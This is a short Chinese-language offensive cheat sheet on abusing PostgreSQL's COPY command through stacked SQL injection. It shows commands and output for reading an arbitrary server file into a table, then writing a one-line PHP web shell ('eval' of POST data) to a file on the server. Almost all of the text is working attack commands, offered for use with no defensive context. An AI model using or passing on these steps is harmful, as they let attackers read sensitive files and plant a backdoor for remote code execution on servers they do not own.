0x00 注意点
要有对应的权限,这点很好理解吧,普通用户一般是不行的。
0x01 读文件的方法
# 需要注意, 如果无法堆叠的话, 该方法无法使用# 创建一张新表create table f(file_data text not null);# 读取 C:\1.php数据 复制内容到 f表的 file_data字段copy f(file_data) from 'C:\1.php';# 通过普通语句读取出数据# limit 1 读一行# OFFSET 0 下标从0开始 0==读第一行数据select file_data from f limit 1 OFFSET 0;# 删除f表drop table f;
# 执行结果skylar=#create table f(file_data text not null);copy f(file_data) from 'C:\1.php';select file_data from f limit 1 OFFSET 0;drop table f;Command OKCommand OK - 1 row affected+----------------+| file_data |+----------------+| 12312123123123 |+----------------+1 row in setCommand OK
0x02 写文件的方法
# 需要注意, 如果无法堆叠的话, 该方法无法使用命令结束: copy (select '一句话木马的代码') to '写马的路径';命令2: copy (select '<?php @eval($_POST[1]);?>') to 'C:\2.php';
# 执行结果# 执行完毕以后就会在# c盘 跟目录生成一个 2.php# 内容为 <?php @eval($_POST[1]);?> 的一句话木马skylar=# copy (select '<?php @eval($_POST[1]);?>') to 'C:\2.php';Command OK - 1 row affected

